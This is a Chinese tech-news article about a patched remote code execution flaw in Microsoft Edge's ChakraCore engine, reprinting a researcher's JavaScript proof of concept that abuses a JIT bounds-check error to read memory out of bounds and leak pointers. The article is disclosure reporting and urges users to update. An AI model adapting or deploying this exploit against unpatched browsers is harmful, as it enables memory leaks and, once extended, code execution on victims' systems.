分类

Win10专业版

Win10纯净版

当前位置:Win10之家 > 资讯

Microsoft Win10 Edge内核中远程代码执行漏洞公布

作者:    来源:    日期:2018-12-29

微软本月发布的例行安全更新带来修复诸多已知安全漏洞,既然修复完毕那么漏洞的细节也逐渐被公开出来,例如现在有研究人员公布Microsoft Edge内核中的远程代码执行漏洞,该漏洞危害较高因此用户因及时修复。

Microsoft Win10 Edge内核中远程代码执行漏洞公布

相同权限执行任意代码:

攻击者利用此漏洞可制作特定网页诱导用户访问,访问后攻击者即可以当前已登录用户的权限执行任意代码,如果用户使用管理员权限登录Windows 10那么危害更大,拥有管理员权限攻击者可用来执行更多恶意操作,在漏洞说明里微软将安全等级标记为严重,不过Windows Server 2016和Windows Server 2019影响较低,研究人员举例称攻击者可以利用广告联盟将恶意代码投放给用户,进而获得相应权限在系统上执行恶意操作。

71行的概念验证代码:

鉴于漏洞已经修复因此研究人员也发布针对该漏洞的概念验证代码,此代码只会触发边界存储器读取泄露等,不过研究人员也可以修改代码使之执行更多恶意操作,包括无需用户确认安装恶意软件或者读取写入数据等,研究人员表示诱导用户访问特定攻击网站不算太容易,但借助那些审核比较宽松的广告联盟很容易做到这点,因此研究人员建议那些开启延迟更新的用户最好也尽快安装安全更新,以免在不知不觉中遭到攻击者的入侵。

概念验证代码如下:(JavaScript)

// OOB read leak by bkth from phoenhex for ChakraCore, this will crash reading oob in edge
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);

var scratch = new ArrayBuffer(0x100000);
var scratch_u8 = new Uint8Array(scratch);
var scratch_u32 = new Uint32Array(scratch);
var BASE = 0x100000000;

var shellcode = null;

function hex(x) {
return `0x${x.toString(16)}`
}

function bytes_to_u64(bytes) {
return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
+bytes[4]*0x100000000+bytes[5]*0x10000000000);
}

function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}

function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}

function valid_pointer(x) {
f64[0] = x;
if (u32[1] > 0 && u32[1] < 0x1000) {
return true;
}
return false
}

function opt(o, j) {
var a = new Float64Array(0x111112);
o = a;
o[0] = 1337;
var b = a.slice(0,20);
b[92] = 13;
for (var i = 0; i < a.length; ++i) {
b = a;
b[1] = 0x4141;
}
// Chakra failed to insert value compensation which cause the headSegmentsym to be reloaded
// but not the headSegmentLength sym, we therefore accessed the new buffer with the wrong length checked
return b[j];
}

function pwn() {
for (var i = 0; i < 300; i++) {
opt(24, 0x10);
}

for (var i = 0x10; i < 0x1000; ++i) {
let res = opt(24, i);
if (res != 0 && valid_pointer(res)) {
val = f2i(res);
print("Leaked at " + i + ": " + hex(val));
}
}
opt(24, 0x111111); // OOB
}
pwn();

推荐下载